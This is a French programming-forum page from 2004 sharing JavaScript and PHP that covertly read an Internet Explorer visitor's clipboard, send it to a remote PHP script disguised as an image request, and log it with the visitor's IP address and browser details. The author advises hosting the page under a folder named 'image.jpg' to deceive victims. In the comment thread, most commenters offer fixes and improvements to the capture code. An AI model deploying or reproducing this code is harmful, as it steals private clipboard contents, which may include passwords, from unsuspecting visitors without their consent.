begin process at 2008 07 20 22:34:24
1 213 476 membres
381 nouveaux aujourd'hui
14 167 membres club

Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum.
Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

CONNAITRE LE CONTENU DU PRESSE PAPIER D'UN VISITEUR ET LE LOGUER


Information sur la source

Catégorie :Javascript / DHTML Niveau : Débutant Date de création : 18/04/2004 Date de mise à jour : 05/11/2004 15:38:33 Vu : 6 359

Note :
9,33 / 10 - par 3 personnes
9,33 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (20)
Ajouter un commentaire et/ou une note

Description

Encore une petite bidouille assez marante ...
J'ai adapté à ma façon, et très mal !, un script JS qui affichait le contenu du presse papier quand on navigait sur le page pour qu'il transmette le contenu du presse papier du visiteur à un script php, sans éveiller les soupsons de IE (comme si le .php était une image) et le PHP log tout ça dans un fichier .txt

Je vous conseille de mettre la page en index.htm dans un dossier image.jpg de type : http://www.serv.tld/image.jpg comme ça le mec crois ouvrir une image :p

Je n'ai aucune prétention en javascript donc je ne sais pas trop comment marche les variables mais si vous avez des conseils n'hésitez pas !

Notez pas très sévére pour le JS ! lol

Le code :

Source

  • index.htm :
  • -------------
  • <html>
  • <body>
  • <form name="tito" id="tito">
  • <textarea style="width=0px;height=0px" name="zone" id="zone"></textarea>
  • </form>
  • <script>
  • fuckU = new Image;
  • var popo=tito.zone.createTextRange();
  • popo.execCommand("Paste");
  • popo.collapse(false);
  • fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?toto=' + tito.zone.value;
  • </script>
  • </body>
  • </html>
  • microsoft.php (le nom mé passé par la tet ... désolé !) :
  • ----------------------------------------------------------------
  • <?
  • /// PoPo 2004
  • if($toto != ""){
  • $toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $REMOTE_ADDR . " - " . $HTTP_USER_AGENT . " " . $HTTP_ACCEPT_LANGUAGE . "] :\r\n" . $toto . "\r\n>>---------------<<\r\n\r\n";
  • $popo = fopen("histo.txt", "a");
  • fputs($popo, $toto);
  • fclose($popo);
  • }
  • ?>
index.htm :
-------------

<html>
<body>
<form name="tito" id="tito">
<textarea style="width=0px;height=0px" name="zone" id="zone"></textarea>
</form>
<script>
fuckU = new Image;

var popo=tito.zone.createTextRange();
popo.execCommand("Paste");
popo.collapse(false);

fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?toto=' + tito.zone.value;

</script>
</body>
</html>



microsoft.php (le nom mé passé par la tet ... désolé !) :
----------------------------------------------------------------

<?
/// PoPo 2004

if($toto != ""){
         $toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $REMOTE_ADDR . " - " . $HTTP_USER_AGENT . " " . $HTTP_ACCEPT_LANGUAGE . "] :\r\n" . $toto . "\r\n>>---------------<<\r\n\r\n";

         $popo = fopen("histo.txt", "a");
         fputs($popo, $toto);
         fclose($popo);
}

?>

Conclusion

Merci à s0nic Kaos pour l'idée :)

@++
PoPo
05 novembre 2004 15:38:34 :
Erreur dans une url
  • signaler à un administrateur
    Commentaire de thepopolinux le 18/04/2004 23:33:18

    Encore une fois ... c'est pas pour le javascript que j'ai posté cette source (j'ai honte !), c'est pour l'idée et un peu pour le PHP :)

    Soyez indulgent :p

    @++
    PoPo

  • signaler à un administrateur
    Commentaire de stef2004 le 19/04/2004 11:03:03

    C'est une bonne idée mais moi g mi comen texte log2.txt et aucune information sur le visiteur ne vient s'y ajouter
    http://membres.lycos.fr/stefcho2/log2.txt

    stef2004
    http://membres.lycos.fr/stefcho2/vb/

  • signaler à un administrateur
    Commentaire de -=|[titiplusplus]|=- le 19/04/2004 14:16:57

    Rigolo comme tout !!!
    Ca peux etre pas mal pour une application qui nécéssite un rappel des données copiées ...
    On met ca dans une barre d'outil sur le coté et zou ...
    Rien n'empèche ensuite de faire appel à une table mySql par ex...
    Je met ce script de coté moi :-)

    Ca mérite un 8/10 pour la pertinence.

    Au fait je te conseille d'y apporter ces modif pour le rendre compatible avec toute les configuration php (php.ini-&gt;register_global)

    $toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $toto . "\r\n&gt;&gt;---------------&lt;&lt;\r\n\r\n";

  • signaler à un administrateur
    Commentaire de defkrie le 19/04/2004 14:20:34

    jaime bien.

  • signaler à un administrateur
    Commentaire de -=|[titiplusplus]|=- le 19/04/2004 14:21:52

    Et encore une fois je poste trop vite ...

    $toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $_GET["toto"] . "\r\n&gt;&gt;---------------&lt;&lt;\r\n\r\n";

    j'avais oublié le $_GET["toto"]

  • signaler à un administrateur
    Commentaire de thepopolinux le 19/04/2004 19:16:52

    sted2004 &gt; depuis que multimania c acouplé ac Lycos ils font ke des conneries ensemble donc en gros ta des services de merde ac de la pub partt et les 3/4 des fonctions php interdites (aparament comme celle là :)

    -=|[titiplusplus]|=- &gt; Oui biensur c interessant ... mais qui n'a pas register_global dans sa conf ... Enfin la presision est bonne en cas que le mec galère enfin c plus simple de mettre register_global = On ;)

    defkrie &gt; Thk :)

    @++

  • signaler à un administrateur
    Commentaire de morgandetoi06 le 19/04/2004 19:21:07

    personnellement quand je teste j ai l erreur :
    "'FALSE' est indéfini"
    comment que ça se fait ?

  • signaler à un administrateur
    Commentaire de morgandetoi06 le 19/04/2004 19:24:39

    c bon j ai remplacé FALSE par 0 ça marche

  • signaler à un administrateur
    Commentaire de thepopolinux le 19/04/2004 19:34:15

    :)

  • signaler à un administrateur
    Commentaire de -=|[titiplusplus]|=- le 19/04/2004 22:08:08

    &gt;Oui biensur c interessant ...

    c kler avec l'expereince je te dis même plus autant codé bien et propre dés le début ... les var $_GET, $_POST, $_SESSION etc ... marchent dans tous les cas ...

    &gt;mais qui n'a pas register_global dans sa conf ...

    Moi au boulot ! mdr ... alala ... tu verras plus tard ;-)

    &gt;Enfin la presision est bonne en cas que le mec galère enfin c plus simple de mettre register_global = On ;)

    Si tu admin d'un VRAI serveur web ... effectivement tu fais ce qu'il te plait .... hehe

    http://www.monagenda.org (pour tester login=test pwd=password)
    http://ebc.titiplusplus.com

    comming soon : http://www.titiplusplus.com ; http://www.ebc.eu

    Tchao ;-)

  • signaler à un administrateur
    Commentaire de -=|[titiplusplus]|=- le 19/04/2004 22:12:30

    Bon pour http://www.monagenda.org, à la suite d'un changement d'herbergeur j'ai pas encore reconstruit les tables mysql ... hrrrr ... je fais ca 2m1 ... vous pourez le tester et me dire ce que vous en pensez !

    Cordialement.

  • signaler à un administrateur
    Commentaire de thepopolinux le 19/04/2004 22:40:16

    Ok je comprend pour la prog mais bon c clair que c destiné a un public restraint ... enfin je men rapele si je fais un script public ....

    Je mate ton truc d'agenda dés que c ok :)

    @++

  • signaler à un administrateur
    Commentaire de -=|[titiplusplus]|=- le 20/04/2004 08:26:23

    Voilou ... g tout reconstruit maintenant vous pouvez le tester ... dsl pour l'aide en ligne qui n'est pas finie.

    http://www.monagenda.org
    login=test
    pwd=password

  • signaler à un administrateur
    Commentaire de thepopolinux le 20/04/2004 17:25:16

    c pas mal ce ke tu as fé :)
    bravo :)

  • signaler à un administrateur
    Commentaire de -=|[titiplusplus]|=- le 20/04/2004 22:34:55

    merci popo !

    On s'en sert à mon taf tous les jours pour gérer le planning de nos médecins clients (on est centre d'appel / call center)

    Mais je t'avoue ca m'a pris du temps ... et c'est ce que j'ai présenter pour mon exam.... voilou :-)

  • signaler à un administrateur
    Commentaire de Anthomicro le 05/08/2004 10:17:03

    Salut ;-)

    Il suffit juste de régler les paramètres d'IE pour que ton script ne fonctionne plus. Dommage :-(

    Mais bon je n'aime pas ce genre de scripts qui loguent des trucs du visiteur.

    a ++

  • signaler à un administrateur
    Commentaire de stanilou le 16/11/2004 21:08:10

    J'ai un petit probleme, moi j'ai juste un cadre de texte !? Quelqu'un pe m'expliquer?

  • signaler à un administrateur
    Commentaire de Sined_ le 21/11/2005 22:18:45

    Cette technique peut s'appropcher du piratage... mais bon j'ai un peu améliorer le script pour qu'il puisse enregistrer des caractères non présent dans la table de caractères ISO-8859-1 puis qui puisse enregsitrer la suite d'un segment comportant le signe &.
    Dans le fichier HTML:
    fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?' + tito.zone.value;
    au lieu de :
    fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?toto=' + tito.zone.value;
    Puis dans le fichier PHP:
    $titi = str_replace("%20", " ", $_SERVER['QUERY_STRING']);
    $toto = utf8_encode("@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $titi . "\r\n>>---------------<<\r\n\r\n)";
    au lieu de :
    $toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $_GET["toto"] . "\r\n>>---------------<<\r\n\r\n";

  • signaler à un administrateur
    Commentaire de pepecyril le 29/07/2006 17:47:35

    Ca marche avec firefox ?
    Je crois pas...heuresement que le logiciel libre est là !

    Le piratage nuit à microsoft
    Le piratage aide le libre

  • signaler à un administrateur
    Commentaire de l_lcypherl_l le 12/11/2007 11:29:14

    Bonjour,

    C'est clair, il faut préciser que ce code n'est valable que pour IE.

    Des commandes comme 'execCommand("Paste")' sont propres au jScript microsoft et non au standard javascript [qui lui n'accede pas au système :) ].

Ajouter un commentaire

Pub



Appels d'offres

Dessins techniques
Budget : 60€
Animation Flash - Doma...
Budget : 370€
Application flash medi...
Budget : 1 000€

CalendriCode

Juillet 2008
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

VS Express FR Gratuit !

VS Express en français et 100% gratuit !

Boutique

Boutique de goodies CodeS-SourceS